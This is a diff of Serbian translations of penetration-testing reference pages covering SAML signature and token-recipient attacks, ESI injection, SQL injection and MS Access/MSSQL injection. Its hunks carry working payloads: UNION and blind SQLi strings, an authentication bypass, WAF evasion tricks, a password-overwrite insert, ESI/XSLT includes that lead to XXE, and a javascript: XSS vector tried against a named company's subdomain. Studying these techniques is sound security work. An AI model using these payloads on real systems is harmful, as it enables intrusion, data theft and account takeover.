[**SAMLExtractor**](https://github.com/fadyosman/SAMLExtractor): Alat koji može uzeti URL ili listu URL-ova i vratiti SAML consume URL.
[**SAMLExtractor**](https://github.com/fadyosman/SAMLExtractor): Alat koji može uzeti URL ili listu URL-ova i vraća SAML consume URL.
## XML povratna veza
@ -42,7 +42,7 @@ Ovo je kako je REXML video originalni XML dokument iz gornjeg programa:
![https://mattermost.com/blog/securing-xml-implementations-across-the-web/](<../../images/image (1001).png>)
A ovo je kako ga je video nakon obrade i serijalizacije:
I ovo je kako ga je video nakon obrade i serijalizacije:
![https://mattermost.com/blog/securing-xml-implementations-across-the-web/](<../../images/image (445).png>)
@ -183,11 +183,11 @@ Ovde možete pronaći **POC** za proveru ovakvih ranjivosti, na hacktricks stran
Možete takođe koristiti Burp ekstenziju [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) za generisanje POC-a iz SAML zahteva kako biste testirali moguće XSLT ranjivosti.
Pogledajte takođe ovaj govor: [https://www.youtube.com/watch?v=WHn-6xHL7mI](https://www.youtube.com/watch?v=WHn-6xHL7mI)
Pogledajte takođe ovo predavanje: [https://www.youtube.com/watch?v=WHn-6xHL7mI](https://www.youtube.com/watch?v=WHn-6xHL7mI)
## Isključenje XML potpisa <a href="#xml-signature-exclusion" id="xml-signature-exclusion"></a>
**Isključenje XML potpisa** posmatra ponašanje SAML implementacija kada element Potpis nije prisutan. Ako je ovaj element nedostajući, **verifikacija potpisa možda neće biti izvršena**, što ga čini ranjivim. Moguće je testirati ovo menjajući sadržaj koji se obično verifikuje potpisom.
**Isključenje XML potpisa** posmatra ponašanje SAML implementacija kada element Potpis nije prisutan. Ako je ovaj element odsutan, **verifikacija potpisa možda se neće dogoditi**, čineći ga ranjivim. Moguće je testirati ovo menjajući sadržaj koji se obično verifikuje potpisom.
![https://epi052.gitlab.io/notes-to-self/img/saml/signature-exclusion.svg](<../../images/image (457).png>)
@ -201,7 +201,7 @@ Sa uklonjenim potpisima, dozvolite zahtevu da prođe do cilja. Ako Potpis nije p
## Lažiranje sertifikata
Lažiranje sertifikata je tehnika za testiranje da li **Servisni Provajder (SP) pravilno verifikuje da je SAML Poruka potpisana** od strane pouzdanog Provajdera Identiteta (IdP). Uključuje korišćenje \***samo-potpisanog sertifikata** za potpisivanje SAML odgovora ili potvrde, što pomaže u evaluaciji procesa verifikacije poverenja između SP i IdP.
Lažiranje sertifikata je tehnika za testiranje da li **Provajder usluga (SP) pravilno verifikuje da je SAML poruka potpisana** od strane pouzdane Identitetske provajder (IdP). Uključuje korišćenje \***samo-potpisanog sertifikata** za potpisivanje SAML odgovora ili tvrdnje, što pomaže u evaluaciji procesa verifikacije poverenja između SP i IdP.
### Kako sprovesti lažiranje sertifikata
@ -209,21 +209,21 @@ Sledeći koraci opisuju proces korišćenja [SAML Raider](https://portswigger.ne
1. Presretnite SAML odgovor.
2. Ako odgovor sadrži potpis, pošaljite sertifikat u SAML Raider Certs koristeći dugme `Send Certificate to SAML Raider Certs`.
3. U SAML Raider kartici Sertifikati, izaberite uvezeni sertifikat i kliknite `Save and Self-Sign` da biste kreirali samo-potpisanu kopiju originalnog sertifikata.
4. Vratite se na presretnuti zahtev u Burp-ovom Proxy-ju. Izaberite novi samo-potpisani sertifikat iz padajućeg menija XML potpisa.
3. U SAML Raider Certificates tabu, izaberite uvezeni sertifikat i kliknite `Save and Self-Sign` da biste kreirali samo-potpisanu kopiju originalnog sertifikata.
4. Vratite se na presretnuti zahtev u Burp-ovom Proxy-ju. Izaberite novi samo-potpisani sertifikat iz XML Signature padajuće liste.
5. Uklonite sve postojeće potpise pomoću dugmeta `Remove Signatures`.
6. Potpišite poruku ili potvrdu novim sertifikatom koristeći dugme **`(Re-)Sign Message`** ili **`(Re-)Sign Assertion`**, kako je prikladno.
6. Potpišite poruku ili tvrdnju novim sertifikatom koristeći **`(Re-)Sign Message`** ili **`(Re-)Sign Assertion`** dugme, prema potrebi.
7. Prosledite potpisanu poruku. Uspešna autentifikacija ukazuje da SP prihvata poruke potpisane vašim samo-potpisanim sertifikatom, otkrivajući potencijalne ranjivosti u procesu verifikacije SAML poruka.
## Zbunjenost primaoca tokena / Zbunjenost ciljanog servisnog provajdera <a href="#token-recipient-confusion" id="token-recipient-confusion"></a>
## Zbunjenost primaoca tokena / Zbunjenost cilja provajdera usluga <a href="#token-recipient-confusion" id="token-recipient-confusion"></a>
Zbunjenost primaoca tokena i Zbunjenost ciljanog servisnog provajdera uključuju proveru da li **Servisni Provajder pravilno verifikuje nameravanog primaoca odgovora**. U suštini, Servisni Provajder bi trebao odbiti odgovor na autentifikaciju ako je bio namenjen drugom provajderu. Ključni element ovde je polje **Recipient**, koje se nalazi unutar elementa **SubjectConfirmationData** SAML odgovora. Ovo polje specificira URL koji ukazuje gde potvrda mora biti poslata. Ako stvarni primalac ne odgovara nameravanom Servisnom Provajderu, potvrda bi trebala biti smatrana nevažećom.
Zbunjenost primaoca tokena i Zbunjenost cilja provajdera usluga uključuju proveru da li **Provajder usluga pravilno verifikuje nameravanog primaoca odgovora**. U suštini, Provajder usluga bi trebao odbiti odgovor na autentifikaciju ako je bio namenjen drugom provajderu. Ključni element ovde je polje **Recipient**, koje se nalazi unutar elementa **SubjectConfirmationData** SAML odgovora. Ovo polje specificira URL koji ukazuje gde se tvrdnja mora poslati. Ako stvarni primalac ne odgovara nameravanom Provajderu usluga, tvrdnja bi trebala biti smatrana nevažećom.
#### **Kako to funkcioniše**
Da bi napad na SAML Zbunjenost primaoca tokena (SAML-TRC) bio izvodljiv, određeni uslovi moraju biti ispunjeni. Prvo, mora postojati važeći nalog na Servisnom Provajderu (naziva se SP-Legit). Drugo, ciljani Servisni Provajder (SP-Target) mora prihvatiti tokene od istog Provajdera Identiteta koji služi SP-Legit.
Da bi napad na SAML Zbunjenost primaoca tokena (SAML-TRC) bio izvodljiv, određeni uslovi moraju biti ispunjeni. Prvo, mora postojati važeći nalog na Provajderu usluga (naziva se SP-Legit). Drugo, ciljani Provajder usluga (SP-Target) mora prihvatati tokene od iste Identitetske provajder koja služi SP-Legit.
Proces napada je jednostavan pod ovim uslovima. Autentična sesija se pokreće sa SP-Legit putem zajedničkog Provajdera Identiteta. SAML odgovor od Provajdera Identiteta ka SP-Legit se presreće. Ovaj presretnuti SAML odgovor, prvobitno namenjen za SP-Legit, se zatim preusmerava na SP-Target. Uspeh u ovom napadu meri se time što SP-Target prihvata potvrdu, omogućavajući pristup resursima pod istim imenom naloga koji se koristi za SP-Legit.
Proces napada je jednostavan pod ovim uslovima. Autentična sesija se pokreće sa SP-Legit putem zajedničkog Identitetskog provajdera. SAML odgovor od Identitetskog provajdera do SP-Legit se presreće. Ovaj presretnuti SAML odgovor, prvobitno namenjen za SP-Legit, se zatim preusmerava na SP-Target. Uspeh u ovom napadu meri se time što SP-Target prihvata tvrdnju, omogućavajući pristup resursima pod istim imenom naloga koji se koristi za SP-Legit.
```python
# Example to simulate interception and redirection of SAML Response
def intercept_and_redirect_saml_response(saml_response, sp_target_url):
@ -248,21 +248,21 @@ return f"Failed to redirect SAML Response: {e}"
Originalno istraživanje može se pronaći putem [this link](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/).
Tokom procesa brute force napada na direktorijume, otkrivena je stranica za odjavu na:
Tokom procesa brute force napada na direktorijum, otkrivena je stranica za odjavu na:
```
https://carbon-prototype.uberinternal.com:443/oidauth/logout
```
При приступу овом линку, дошло је до преусмеравања на:
Kada se pristupi ovoj vezi, došlo je do preusmeravanja na:
```
https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1
```
Ovo je otkrilo da `base` parametar prihvata URL. Uzimajući to u obzir, pojavila se ideja da se URL zameni sa `javascript:alert(123);` u pokušaju da se pokrene XSS (Cross-Site Scripting) napad.
### Masovna Eksploatacija
### Masovno Eksploatisanje
[Iz ove studije](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/):
[**SAMLExtractor**](https://github.com/fadyosman/SAMLExtractor) alat je korišćen za analizu poddomena `uberinternal.com` za domene koji koriste istu biblioteku. Nakon toga, razvijen je skript koji cilja stranicu `oidauth/prompt`. Ovaj skript testira XSS (Cross-Site Scripting) unosom podataka i proverava da li se oni odražavaju u izlazu. U slučajevima kada se unos zaista odražava, skript označava stranicu kao ranjivu.
Alat [**SAMLExtractor**](https://github.com/fadyosman/SAMLExtractor) korišćen je za analizu poddomena `uberinternal.com` za domene koji koriste istu biblioteku. Nakon toga, razvijen je skript koji cilja stranicu `oidauth/prompt`. Ovaj skript testira XSS (Cross-Site Scripting) unosom podataka i proverom da li se oni odražavaju u izlazu. U slučajevima kada se unos zaista odražava, skript označava stranicu kao ranjivu.
```python
import requests
import urllib3

View File

@ -53,19 +53,19 @@ Nakon generisanja SAML zahteva, SP odgovara sa **302 preusmeravanjem**, usmerava
# Primer SAML Odgovora
Možete pronaći [potpuni SAML odgovor ovde](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/). Ključne komponente odgovora uključuju:
Možete pronaći [potpun SAML odgovor ovde](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/). Ključne komponente odgovora uključuju:
- **ds:Signature**: Ovaj deo, XML potpis, osigurava integritet i autentičnost izdavaoca tvrdnje. SAML odgovor u primeru sadrži dva `ds:Signature` elementa, jedan za poruku i drugi za tvrdnju.
- **ds:Signature**: Ovaj deo, XML potpis, osigurava integritet i autentičnost izdavaoca asertacije. SAML odgovor u primeru sadrži dva `ds:Signature` elementa, jedan za poruku i drugi za asertaciju.
- **saml:Assertion**: Ovaj deo sadrži informacije o identitetu korisnika i moguće druge atribute.
- **saml:Subject**: Određuje glavnu temu svih izjava u tvrdnji.
- **saml:Subject**: Određuje glavnog subjekta svih izjava u asertaciji.
- **saml:StatusCode**: Predstavlja status operacije kao odgovor na odgovarajući zahtev.
- **saml:Conditions**: Detalji o uslovima kao što su vremensko važenje tvrdnje i određeni provajder usluga.
- **saml:AuthnStatement**: Potvrđuje da je IdP autentifikovao subjekt tvrdnje.
- **saml:AttributeStatement**: Sadrži atribute koji opisuju subjekt tvrdnje.
- **saml:Conditions**: Detalji o uslovima kao što su vremenski okvir važenja asertacije i određeni provajder usluga.
- **saml:AuthnStatement**: Potvrđuje da je IdP autentifikovao subjekat asertacije.
- **saml:AttributeStatement**: Sadrži atribute koji opisuju subjekat asertacije.
Nakon SAML odgovora, proces uključuje 302 preusmeravanje sa IdP-a. Ovo vodi do POST zahteva na URL usluge za potrošnju tvrdnji (ACS) provajdera usluga. POST zahtev uključuje `RelayState` i `SAMLResponse` parametre. ACS je odgovoran za obradu i validaciju SAML odgovora.
Nakon SAML odgovora, proces uključuje 302 preusmeravanje sa IdP-a. Ovo dovodi do POST zahteva ka URL-u usluge za potrošnju asertacija (ACS) provajdera usluga. POST zahtev uključuje `RelayState` i `SAMLResponse` parametre. ACS je odgovoran za obradu i validaciju SAML odgovora.
Nakon što je POST zahtev primljen i SAML odgovor validiran, pristup se odobrava za zaštićeni resurs koji je prvobitno zahtevao korisnik. Ovo je ilustrovano sa `GET` zahtevom na `/secure/` endpoint i `200 OK` odgovorom, što ukazuje na uspešan pristup resursu.
Nakon što je POST zahtev primljen i SAML odgovor validiran, pristup se odobrava za zaštićeni resurs koji je prvobitno zahtevao korisnik. Ovo je ilustrovano sa `GET` zahtevom ka `/secure/` endpoint-u i `200 OK` odgovorom, što ukazuje na uspešan pristup resursu.
# XML Potpisi

View File

@ -56,7 +56,7 @@ Tipična SSI ekspresija ima sledeći format:
```
## Edge Side Inclusion
Postoji problem **keširanja informacija ili dinamičkih aplikacija** jer deo sadržaja može da **varira** prilikom sledećeg preuzimanja sadržaja. To je ono za šta se koristi **ESI**, da označi korišćenje ESI oznaka za **dinamički sadržaj koji treba da se generiše** pre slanja keširane verzije.\
Postoji problem **keširanja informacija ili dinamičkih aplikacija** jer deo sadržaja može biti **različit** prilikom sledećeg preuzimanja sadržaja. To je ono za šta se koristi **ESI**, da označi korišćenje ESI oznaka za **dinamički sadržaj koji treba da se generiše** pre slanja keširane verzije.\
Ako **napadač** može da **ubaci ESI oznaku** unutar keširanog sadržaja, onda bi mogao da **ubaci proizvoljan sadržaj** u dokument pre nego što bude poslat korisnicima.
### ESI Detection
@ -66,7 +66,7 @@ Sledeća **zaglavlja** u odgovoru sa servera znači da server koristi ESI:
Surrogate-Control: content="ESI/1.0"
```
Ako ne možete pronaći ovaj header, server **možda koristi ESI u svakom slučaju**.\
**Pristup slepom eksploataciji se takođe može koristiti** jer bi zahtev trebao stići do servera napadača:
**Pristup slepom eksploatisanju se takođe može koristiti** jer bi zahtev trebao stići do servera napadača:
```javascript
// Basic detection
hell<!--esi-->o
@ -93,7 +93,7 @@ hell<!--esi-->o
- **Includes**: Podržava `<esi:includes>` direktivu
- **Vars**: Podržava `<esi:vars>` direktivu. Korisno za zaobilaženje XSS filtera
- **Cookie**: Dokumentni kolačići su dostupni ESI motoru
- **Cookie**: Dokumentni kolačići su dostupni ESI engine-u
- **Upstream Headers Required**: Surrogate aplikacije neće obraditi ESI izjave osim ako upstream aplikacija ne obezbedi zaglavlja
- **Host Allowlist**: U ovom slučaju, ESI uključivanja su moguća samo sa dozvoljenih server hostova, što čini SSRF, na primer, mogućim samo protiv tih hostova
@ -177,13 +177,13 @@ Host: anotherhost.com"/>
```
#### Akamai debug
Ovo će poslati informacije o debagovanju uključene u odgovor:
Ovo će poslati informacije za debagovanje uključene u odgovor:
```xml
<esi:debug/>
```
### ESI + XSLT = XXE
Moguće je koristiti **`eXtensible Stylesheet Language Transformations (XSLT)`** sintaksu u ESI jednostavno tako što ćete postaviti param **`dca`** vrednost na **`xslt`**. Što može omogućiti zloupotrebu **XSLT** za kreiranje i zloupotrebu XML spoljne entitetske ranjivosti (XXE):
Moguće je koristiti **`eXtensible Stylesheet Language Transformations (XSLT)`** sintaksu u ESI jednostavno tako što ćete postaviti param **`dca`** vrednost na **`xslt`**. Što može omogućiti zloupotrebu **XSLT** za kreiranje i zloupotrebu ranjivosti XML Eksterne Entitete (XXE):
```xml
<esi:include src="http://host/poc.xml" dca="xslt" stylesheet="http://host/poc.xsl" />
```

View File

@ -4,11 +4,11 @@
## Šta je SQL injekcija?
**SQL injekcija** je sigurnosna greška koja omogućava napadačima da **ometaju upite baze podataka** aplikacije. Ova ranjivost može omogućiti napadačima da **vide**, **modifikuju** ili **obrišu** podatke kojima ne bi trebali imati pristup, uključujući informacije drugih korisnika ili bilo koje podatke kojima aplikacija može pristupiti. Takve akcije mogu rezultirati trajnim promenama u funkcionalnosti ili sadržaju aplikacije, pa čak i kompromitovanjem servera ili uskraćivanjem usluge.
**SQL injekcija** je sigurnosna greška koja omogućava napadačima da **ometaju upite baze podataka** aplikacije. Ova ranjivost može omogućiti napadačima da **vide**, **modifikuju** ili **obrišu** podatke kojima ne bi trebali imati pristup, uključujući informacije drugih korisnika ili bilo koje podatke kojima aplikacija može pristupiti. Takve akcije mogu rezultirati trajnim promenama u funkcionalnosti ili sadržaju aplikacije ili čak kompromitovanjem servera ili uskraćivanjem usluge.
## Detekcija ulazne tačke
Kada se čini da je sajt **ranjiv na SQL injekciju (SQLi)** zbog neobičnih odgovora servera na SQLi povezane unose, **prvi korak** je razumeti kako **ubaciti podatke u upit bez ometanja**. To zahteva identifikaciju metode za **bežanje iz trenutnog konteksta** efikasno. Ovo su neki korisni primeri:
Kada se čini da je sajt **ranjiv na SQL injekciju (SQLi)** zbog neobičnih odgovora servera na SQLi povezane ulaze, **prvi korak** je razumeti kako **ubaciti podatke u upit bez ometanja**. To zahteva identifikaciju metode za **efikasno izlazak iz trenutnog konteksta**. Ovo su neki korisni primeri:
```
[Nothing]
'
@ -128,9 +128,9 @@ Najbolji način da identifikujete back-end je pokušaj izvršavanja funkcija raz
Takođe, ako imate pristup izlazu upita, mogli biste da **prikazujete verziju baze podataka**.
> [!NOTE]
> U nastavku ćemo raspraviti različite metode za iskorišćavanje različitih vrsta SQL Injection. Koristićemo MySQL kao primer.
> U nastavku ćemo razgovarati o različitim metodama za iskorišćavanje različitih vrsta SQL Injection. Koristićemo MySQL kao primer.
### Identifikacija sa PortSwigger-om
### Identifikacija sa PortSwigger
{% embed url="https://portswigger.net/web-security/sql-injection/cheat-sheet" %}
@ -144,7 +144,7 @@ Dve metode se obično koriste u tu svrhu:
#### Order/Group by
Da biste odredili broj kolona u upitu, postepeno prilagodite broj korišćen u **ORDER BY** ili **GROUP BY** klauzulama dok ne dobijete lažan odgovor. I pored različitih funkcionalnosti **GROUP BY** i **ORDER BY** unutar SQL-a, oboje se može koristiti identično za utvrđivanje broja kolona u upitu.
Da biste odredili broj kolona u upitu, postepeno prilagodite broj korišćen u **ORDER BY** ili **GROUP BY** klauzulama dok ne dobijete lažan odgovor. I pored različitih funkcionalnosti **GROUP BY** i **ORDER BY** unutar SQL-a, oboje se mogu koristiti identično za utvrđivanje broja kolona upita.
```sql
1' ORDER BY 1--+ #True
1' ORDER BY 2--+ #True
@ -162,7 +162,7 @@ Da biste odredili broj kolona u upitu, postepeno prilagodite broj korišćen u *
```
#### UNION SELECT
Izaberite sve više i više null vrednosti dok upit ne bude tačan:
Birajte sve više i više null vrednosti dok upit ne bude tačan:
```sql
1' UNION SELECT null-- - Not working
1' UNION SELECT null,null-- - Not working
@ -183,7 +183,7 @@ U sledećim primerima ćemo preuzeti ime svih baza podataka, ime tabele u bazi p
#Column names
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]
```
_Postoji različit način za otkrivanje ovih podataka na svakoj različitoj bazi podataka, ali metodologija je uvek ista._
_Postoji različit način da se otkrije ovi podaci na svakoj različitoj bazi podataka, ali metodologija je uvek ista._
## Eksploatacija skrivenih unija
@ -217,7 +217,7 @@ AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
```
## Iskorišćavanje SQLi zasnovanog na vremenu
U ovom slučaju **nema** načina da se **razlikuje** **odgovor** upita na osnovu konteksta stranice. Ali, možete učiniti da stranica **duže učitava** ako je pogodjeni karakter tačan. Već smo videli ovu tehniku u upotrebi ranije kako bismo [potvrdili SQLi ranjivost](./#confirming-with-timing).
U ovom slučaju **nema** načina da se **razlikuje** **odgovor** upita na osnovu konteksta stranice. Ali, možete učiniti da stranica **duže učitava** ako je pogodak tačan. Već smo videli ovu tehniku u upotrebi ranije kako bismo [potvrdili SQLi ranjivost](./#confirming-with-timing).
```sql
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#
```
@ -270,7 +270,7 @@ Ova upit prikazuje ranjivost kada se MD5 koristi sa true za sirovi izlaz u prove
md5("ffifdyop", true) = 'or'6<>]<5D><>!r,<2C><>b<EFBFBD>
sha1("3fDf ", true) = Q<>u'='<27>@<40>[<5B>t<EFBFBD>- o<><6F>_-!
```
### Zaobilaženje autentifikacije putem injektovanog haša
### Zaobilaženje autentifikacije pomoću injektovanog haša
```sql
admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
```
@ -306,17 +306,17 @@ SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
### Izmena lozinke postojećeg objekta/korisnika
Da biste to uradili, trebate pokušati da **kreirate novi objekat nazvan kao "master objekat"** (verovatno **admin** u slučaju korisnika) modifikujući nešto:
Da biste to uradili, trebali biste pokušati da **napravite novi objekat nazvan kao "master objekat"** (verovatno **admin** u slučaju korisnika) menjajući nešto:
- Kreirajte korisnika nazvanog: **AdMIn** (velika i mala slova)
- Kreirajte korisnika nazvanog: **admin=**
- **SQL Truncation Attack** (kada postoji neka vrsta **ograničenja dužine** u korisničkom imenu ili emailu) --> Kreirajte korisnika sa imenom: **admin \[puno razmaka] a**
- Napravite korisnika nazvanog: **AdMIn** (velika i mala slova)
- Napravite korisnika nazvanog: **admin=**
- **SQL Truncation Attack** (kada postoji neka vrsta **ograničenja dužine** u korisničkom imenu ili emailu) --> Napravite korisnika sa imenom: **admin \[puno razmaka] a**
#### SQL Truncation Attack
Ako je baza podataka ranjiva i maksimalan broj karaktera za korisničko ime je, na primer, 30 i želite da se pretvarate da ste korisnik **admin**, pokušajte da kreirate korisničko ime pod nazivom: "_admin \[30 razmaka] a_" i bilo koju lozinku.
Baza podataka će **proveriti** da li uneto **korisničko ime** **postoji** unutar baze podataka. Ako **ne**, ona će **skratiti** **korisničko ime** na **maksimalan dozvoljeni broj karaktera** (u ovom slučaju na: "_admin \[25 razmaka]_") i automatski će **ukloniti sve razmake na kraju ažurirajući** unutar baze podataka korisnika "**admin**" sa **novom lozinkom** (može se pojaviti neka greška, ali to ne znači da ovo nije uspelo).
Baza podataka će **proveriti** da li uneto **korisničko ime** **postoji** unutar baze podataka. Ako **ne**, **izrezaće** **korisničko ime** na **maksimalan dozvoljeni broj karaktera** (u ovom slučaju na: "_admin \[25 razmaka]_") i automatski će **ukloniti sve razmake na kraju ažurirajući** unutar baze podataka korisnika "**admin**" sa **novom lozinkom** (može se pojaviti neka greška, ali to ne znači da ovo nije uspelo).
Više informacija: [https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref)
@ -324,7 +324,7 @@ _Napomena: Ovaj napad više neće raditi kao što je opisano iznad u najnovijim
### MySQL Insert time based checking
Dodajte koliko god `','',''` smatrate potrebnim da izađete iz VALUES izjave. Ako se izvrši kašnjenje, imate SQLInjection.
Dodajte koliko god `','',''` smatrate potrebnim da izađete iz VALUES izjave. Ako se odgoda izvrši, imate SQLInjection.
```sql
name=','');WAITFOR%20DELAY%20'0:0:5'--%20-
```
@ -334,7 +334,7 @@ Klauzula `ON DUPLICATE KEY UPDATE` u MySQL-u se koristi za određivanje akcija k
Example Payload Injection:
Injekcioni payload može biti kreiran na sledeći način, gde se pokušava umetanje dva reda u tabelu `users`. Prvi red je mamac, a drugi red cilja postojeću email adresu administratora sa namerom da se ažurira lozinka:
Injekcioni payload može biti kreiran na sledeći način, gde se pokušava umetanje dva reda u tabelu `users`. Prvi red je mamac, a drugi red cilja postojeću email adresu administratora sa namerom da ažurira lozinku:
```sql
INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";
```
@ -400,11 +400,11 @@ No Space (%20) - zaobilaženje korišćenjem alternativa za razmake
?id=1%0Aand%0A1=1%0A--
?id=1%A0and%A01=1%A0--
```
Nema praznog prostora - zaobilaženje korišćenjem komentara
No Whitespace - zaobilaženje korišćenjem komentara
```sql
?id=1/*comment*/and/**/1=1/**/--
```
Bez razmaka - zaobilaženje korišćenjem zagrada
Nema praznog prostora - zaobilaženje korišćenjem zagrada
```sql
?id=(1)and(1)=(1)--
```
@ -416,9 +416,9 @@ LIMIT 0,1 -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
SELECT 1,2,3,4 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d
```
### Generički Bypass
### Generic Bypasses
Crna lista koristeći ključne reči - bypass koristeći velika/mala slova
Crna lista koristeći ključne reči - zaobići koristeći velika/mala slova
```sql
?id=1 AND 1=1#
?id=1 AnD 1=1#
@ -457,7 +457,7 @@ Ili korišćenjem **comma bypass**:
```
Ova trik je preuzet sa [https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/](https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/)
### Alati za zaobilaženje WAF-a
### Alati za predlaganje zaobilaženja WAF-a
{% embed url="https://github.com/m4ll0k/Atlas" %}

View File

@ -35,7 +35,7 @@ Operator **`LIMIT`** **nije implementiran**. Međutim, moguće je ograničiti re
```sql
1' UNION SELECT TOP 3 attr FROM table%00
```
Baš kao TOP, možete koristiti **`LAST`** koji će dobiti **redove sa kraja**.
Baš kao i TOP, možete koristiti **`LAST`** koji će dobiti **redove sa kraja**.
## UNION Upiti/Sub upiti
@ -50,7 +50,7 @@ Stoga, morate znati **validno ime tabele**.
> [!WARNING]
> Ovo će vam omogućiti da exfiltrirate vrednosti trenutne tabele bez potrebe da znate ime tabele.
**MS Access** omogućava **čudnu sintaksu** kao što je **`'1'=2='3'='asd'=false`**. Kao obično, SQL injekcija će biti unutar **`WHERE`** klauzule, što možemo zloupotrebiti.
**MS Access** omogućava **čudnu sintaksu** kao što je **`'1'=2='3'='asd'=false`**. Kao što obično SQL injekcija će biti unutar **`WHERE`** klauzule, možemo to zloupotrebiti.
Zamislite da imate SQLi u MS Access bazi podataka i znate (ili ste pogodili) da je jedno **ime kolone username**, i to je polje koje želite da **exfiltrirate**. Mogli biste proveriti različite odgovore web aplikacije kada se koristi tehnika chaining equals i potencijalno exfiltrirati sadržaj sa **boolean injection** koristeći **`Mid`** funkciju za dobijanje podstringova.
```sql
@ -95,11 +95,11 @@ Ili možete koristiti brute-force za imena kolona **druge tabele** sa:
```
### Dumping data
Već smo razgovarali o [**tehnici povezivanja jednakosti**](ms-access-sql-injection.md#chaining-equals-+-substring) **za iskopavanje podataka iz trenutnih i drugih tabela**. Ali postoje i drugi načini:
Već smo razgovarali o [**tehnici povezivanja jednakosti**](ms-access-sql-injection.md#chaining-equals-+-substring) **za iskopavanje podataka iz trenutne i drugih tabela**. Ali postoje i drugi načini:
```sql
IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko')
```
Ukratko, upit koristi "if-then" izjavu kako bi aktivirao "200 OK" u slučaju uspeha ili "500 Internal Error" u suprotnom. Iskorišćavanjem TOP 10 operatora, moguće je selektovati prvih deset rezultata. Naknadna upotreba LAST omogućava da se razmatra samo 10. tuple. Na takvoj vrednosti, koristeći MID operator, moguće je izvršiti jednostavnu poredbu karaktera. Pravilnom promenom indeksa MID i TOP, možemo izvući sadržaj polja "username" za sve redove.
Ukratko, upit koristi "if-then" izjavu kako bi aktivirao "200 OK" u slučaju uspeha ili "500 Internal Error" u suprotnom. Iskorišćavanjem TOP 10 operatora, moguće je izabrati prvih deset rezultata. Naknadna upotreba LAST omogućava da se razmatra samo 10. tuple. Na takvoj vrednosti, koristeći MID operator, moguće je izvršiti jednostavnu uporedbu karaktera. Pravilnom promenom indeksa MID i TOP, možemo izvući sadržaj polja "username" za sve redove.
### Time Based
@ -132,15 +132,15 @@ Međutim, imajte na umu da je vrlo tipično pronaći SQL Injection gde **nemate
### Potpuna putanja do web root direktorijuma
Znanje o **apsolutnoj putanji web root-a može olakšati dalja napada**. Ako greške aplikacije nisu potpuno sakrivene, putanja do direktorijuma može biti otkrivena pokušajem selektovanja podataka iz nepostojeće baze podataka.
Znanje o **apsolutnoj putanji web root-a može olakšati dalja napada**. Ako greške aplikacije nisu potpuno sakrivene, putanja direktorijuma može biti otkrivena pokušavajući da izaberete podatke iz nepostojeće baze podataka.
`http://localhost/script.asp?id=1'+'+UNION+SELECT+1+FROM+FakeDB.FakeTable%00`
MS Access odgovara sa **porukom o grešci koja sadrži punu putanju do web direktorijuma**.
MS Access odgovara sa **porukom o grešci koja sadrži punu putanju web direktorijuma**.
### Enumeracija fajlova
Sledeći napadni vektor može se koristiti za **inferisanje postojanja fajla na udaljenom fajl sistemu**. Ako navedeni fajl postoji, MS Access aktivira poruku o grešci koja obaveštava da je format baze podataka nevažeći:
Sledeći vektorski napad može se koristiti za **inferisanje postojanja fajla na udaljenom fajl sistemu**. Ako navedeni fajl postoji, MS Access aktivira poruku o grešci koja obaveštava da je format baze podataka nevažeći:
`http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00`
@ -156,7 +156,7 @@ Drugi način za enumeraciju fajlova sastoji se u **navođenju stavke database.ta
Gde je **name\[i] ime .mdb fajla** i **realTable je postojeća tabela** unutar baze podataka. Iako će MS Access uvek aktivirati poruku o grešci, moguće je razlikovati između nevažećeg imena fajla i važećeg .mdb imena fajla.
### .mdb alat za otključavanje lozinki
### .mdb alat za otkrivanje lozinki
[**Access PassView**](https://www.nirsoft.net/utils/accesspv.html) je besplatna alatka koja se može koristiti za oporavak glavne lozinke baze podataka Microsoft Access 95/97/2000/XP ili Jet Database Engine 3.0/4.0.

View File

@ -6,8 +6,8 @@
Može biti moguće **enumerisati korisnike domena putem SQL injekcije unutar MSSQL** servera koristeći sledeće MSSQL funkcije:
- **`SELECT DEFAULT_DOMAIN()`**: Dobijte trenutno ime domena.
- **`master.dbo.fn_varbintohexstr(SUSER_SID('DOMAIN\Administrator'))`**: Ako znate ime domena (_DOMAIN_ u ovom primeru) ova funkcija će vratiti **SID korisnika Administratora** u heksadecimalnom formatu. Ovo će izgledati kao `0x01050000000[...]0000f401`, obratite pažnju kako su **poslednja 4 bajta** broj **500** u **big endian** formatu, što je **uobičajeni ID korisnika administratora**.\
- **`SELECT DEFAULT_DOMAIN()`**: Dobijte trenutni naziv domena.
